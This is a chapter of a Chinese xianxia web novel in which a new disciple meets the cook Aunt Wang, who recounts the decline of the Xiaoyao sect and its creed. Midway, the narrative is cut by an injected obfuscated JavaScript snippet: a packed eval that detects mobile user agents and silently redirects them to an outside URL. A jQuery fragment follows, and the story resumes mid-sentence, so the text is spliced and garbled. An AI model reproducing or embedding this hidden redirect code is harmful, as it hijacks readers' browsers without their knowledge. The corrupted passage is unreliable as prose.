谢三水站在饭斋堂门口,眉头紧锁,心中五味杂陈。
他抬头看了看天色,夕阳已经西沉,天边只剩下一抹淡淡的红霞。四周静悄悄的,只有风吹过杂草的沙沙声,显得格外荒凉。
饭斋堂不难找,下山也就二里地的路程,只是这破旧的木板房和这一地一人高的杂草,你确定这里不是郊外荒村?
“这群人到底在搞什么鬼?”他低声嘟囔着,心中隐隐有些不安。
谢三水伸手推了推木门,门锁早已生锈,纹丝不动。门上挂着的“打烊”牌子随着他的动作轻轻晃动,发出吱呀的声响,仿佛在嘲笑他的无能。
谢三水叹了口气,心中有些懊悔。早知道就不该轻易相信四师兄的话,什么饭斋堂管吃食,分明就是个幌子。
可事已至此,他也只能硬着头皮继续等下去。
他倒是有想找人理论,但这群人完全不给机会,再则回想起入门时的经历,他也不敢造次。
许久不见人影,正当他打算原路返回时,一双粗犷的大手压-在了他的肩头。
不祥的预感一闪而过,他不经意间想起了临行前村里传过的一则小道消息。
月影黄昏时分,村落中总会变得十分寂静,这时千万不要出门,保持安静否则那家伙便会找上门来。
若是不小心停留在外,有人从身后将一只细嫩的手搭在身上,时刻谨记千万不要回头,不然将会有不幸的事情发生。
因为搭在肩上的手不一定会是人,而有可能是他来索命了。
想起这个被忽略的事情,谢三水悄悄看了一眼,月光洒在地上,映出他孤零零的影子。然而,那双搭在他肩上的手的主人,却没有任何影子。谢三水的喉咙发紧,呼吸变得急促,冷汗顺着额头缓缓滑落。
一时间他双脚抓地,头皮发麻,心跳骤然加快,仿佛要从胸腔里跳出来。那双搭在他肩上的手冰冷而沉重,仿佛带着一股无形的压迫感,让他动弹不得。
时间仿佛在这一刻凝固,谢三水的脑海中闪过无数念头。他想跑,可双脚却像生了根一样,死死钉在地上。
随后一阵冷风吹过,吓得他直打寒颤。
“你这娃子,站在这里作甚?”一粗犷的女声从身后响起,刺破寂静的长空。
人在恐惧的时候感官会被无限放大,谢三水甚至能听见房檐上乌鸦振翅的细微扑腾声。
“哎,许久不见人来,都成这番景象了。”
感知到那东西靠近,谢三水闭上了双眼。
“这门上的风铃都掉下来了。”
谢三水没敢回应,只觉身上一轻,肩上的手似乎是被什么给挪开了。
“娃子,你闭着眼睛干嘛,我王婶儿又不会吃人。”说着她拍了拍谢三水的脸。
很好,手是温热的,谢三水做好思想准备,颤颤巍巍的睁眼,还好看见的不是他所想象的那般恐怖景象。
只见一和善的大婶提了一个篮筐站在他面前,手里还拿着刚从他身上取下来的半截风铃。
王婶儿?这不正是四师兄提到的,饭斋堂管理伙食的王大娘吗?
鉴于自己刚刚的表现,谢三水讪讪的笑道:“那个,王婶儿我是今天刚入逍遥宗的新弟子谢三水,听闻四师兄叶子煜说此处发放吃食,所以……”
“哦,原来是那个小兔崽子干的好事啊,都不亲自给人提个醒,当真是欠收拾。”
“王婶儿,你这是…”
“嗐,怕他作甚,那几个小兔崽子还是我看着长大的呢。我看你面相老实,实话给你说吧,这逍遥宗啊,已经好几年没有过新弟子了。”
见谢三水一脸懵逼,王婶儿一掌劈开破烂的木门道:“先跟着我进屋里坐,我去给你热点吃食,有什么不明白的我待会慢慢跟你说。”
听她这么一说,谢三水松了一口气,这还真是巧了,得来全不费工夫。
这门按理说还算结实,一个厨子都有这样的实力......
算了,他已经见怪不怪了,跟着进了门,谢三水看着腐朽的桌椅,显然这里已经很久没有生活过的痕迹,也印证了王婶儿话中几年没有新弟子的事实。
他随即找了个还算干净的地方,用衣袖扫了扫桌面上的灰,这才坐了下来。
又过了一阵,王婶儿从后厨端了一碗热腾腾的面递到了他面前,丝毫没顾虑的坐在了他对面。
“今儿个还算幸运,让我给碰着了,吃吧娃子。”
葱香四溢的热面,抵不过谢三水急切想问话的心情,他欲张口询问,可肚子此刻像是和他作对似的不合时宜的响了起来。
王婶儿看透了他的心思,笑道:“不要急,填饱肚子为重,等吃完再聊也不迟。”
这么一说谢三水确实是饿了,他自从一早出门上山起到现还未吃过什么东西。
片刻后,填饱肚子的他起身道谢,“多谢王婶儿款待。”
“不用这么客气,这饭斋堂啊,原本也就是给未踏入修行的普通弟子提供伙食的。”
说着她叹了一口气,“唉,只是这如今宗门日渐落寞,近些年招收的弟子也逐渐变少,来这吃饭的人也就少了,后来为了节省开资,所以这没几个人的饭斋堂也就关停了。”
见她似乎是陷入回忆,谢三水并未打断,只是默默的聆听着这里从前发生的一切。他想这怕就是今天唯一来对的地方了。
“可有兴趣听大婶我讲一个故事?”
没等人同意,王婶儿自顾自的接着说道:“据说以前的逍遥宗啊,可不是现在这个样子的,也是数一数二的修仙大宗门,为所有宗门望尘莫及之地。”说到此处她皱了皱眉,“只可惜后来群魔并起,生灵涂炭,逍遥宗的几位创宗大能为了保护苍生不受伤害,耗尽心血这才保留住最后这一山头灵脉。”
有些东西乃宗门禁-忌,她得知的也不是很多,因此这也只是根据她从各位长老那块儿听来所猜测的。
“而后在那一场浩劫中活下来的人,将宗门迁移至这个小村落,至此这才有了现在的逍遥宗。
大婶我原本也只是村落里一个不起眼的农妇,却也见识了宗门的兴起与衰落。
起初是前任宗主仅凭借一个人之力挑起了重振宗门的担子,那个时候他身无分文又受了伤,待恢复后也只能靠自己薄弱的道法,在这小村落中赚得一笔小钱。
后来也是历经千亲万苦这才把宗门成立起来。
再后来前任宗主因浩劫中的旧伤发作,殁了,这才将宗门交到现任宗主玄真身上。
在某次下山历练中,玄真宗主感应到不远处山村中传来浓重的妖气,于是前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345356|167875||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去除妖,待他斩杀妖兽降落村中时,目击之地皆是断壁残垣,他从废墟中捡回三个幸存的孩子,最大的约莫十岁,而最小的也不过五六岁。
玄真宗主心肠好,后来又在灾害中一连捡回不少无家可归的孩子。
而这些孩子被带回宗门,我从小看着长大,天赋秉性都还不错,在宗主自身自灭的教导下,现在也都有了一定的成就。
而当初最大的,现在也成了宗门的白桦大师兄,最小的也就是今儿早守山门的那个萝卜头,小六余名溯。
好了,到现在为止,故事讲完了,娃子,你还有什么要问的吗?”
讲完这么长一段话,王婶儿不知从哪里端了一粗瓷茶碗,她抿了一口已经凉透的茶水。
茶是一早从山间采回来的野茶,带着淡淡的苦涩,却让她干涩的嗓子舒服了些。
被点亮油灯的光晕在土墙上投下摇曳的影子,坐在椅子上的谢三水还沉浸在刚才的故事中。
屋外已天黑,虽是春日,但晚风还是透着些许微寒,风卷动着外面的野草,拍打在窗上,衬得有些萧条。
谢三水沉思片刻,在得知宗门的惊变后,问出了第一个问题:“可为什么今日所见的逍遥宗为何是这样随意的,直到现在我都还稀里糊涂的?”
可不是稀里糊涂的吗?先是稀里糊涂的过了入门考核,然后是稀里糊涂的被收入梅长老门下,最后是稀里糊涂的来到这里,中途却没有一个人能为他解除困惑。
“你可知逍遥二字真理?”王婶儿垂眸,手中还描摹着粗糙的茶碗。
“这……可是逍遥自在,随性而为?”他也只在四师兄口里听过这一段宗旨。
“不错。”王婶儿赞赏道,“宗门真谛—随心所欲,逍遥天地也。
听闻旧时宗门师祖曾言:修仙一途,本为超脱。若处处拘束,与凡俗何异?故逍遥宗的门规只有一条:但求本心,不问对错。
而宗门内弟子以此为本,有终日醉卧云端的酒剑仙,有游戏人间济世救人的江湖郎中,也有隐居山林,与鸟兽作伴的隐士高人。
他们或狂放不羁,或淡泊名利,却都遵循内心的指引。
宗门最辉煌的时候,大殿前的空地上,常有弟子即兴起舞,剑光如虹。后山的树林中,不时也会传来悠扬的琴声,与鸟鸣相和。没有严苛的课业,也没有繁复的礼仪,一切随心。
然而,这看似散漫的宗门,却有着最严格的考验—问道。
顾名思义就是在一个特定的时刻,每每都要直面自己的本心何在。此法则也被前任宗主沿用至今,若发现有违背初心者,轻则面壁思过,重则逐出师门。
此外还有一则关于古逍遥宗的传闻,在宗门深处,有一处禁地,名为明心境。境中无他,唯有一面明镜。据说只有真正明悟逍遥真谛之人,才能在镜中看到自己的倒影。千百年来,能进入此境之人寥寥无几,而这些人,无论有没有看见自己的倒影,都能获得感悟成为名震天下的仙者。
但岁月如梭,往事如烟,真相已经湮没在时光的长河中,谁也无法断定传闻的真伪,而后随着时间的推移便不了了之了。”
事情的始末原来是这样的,听完王婶儿一席话,仿佛一道闪电划破黑夜,所有的疑惑在这一刻烟消云散,谢三水此刻终于悟了。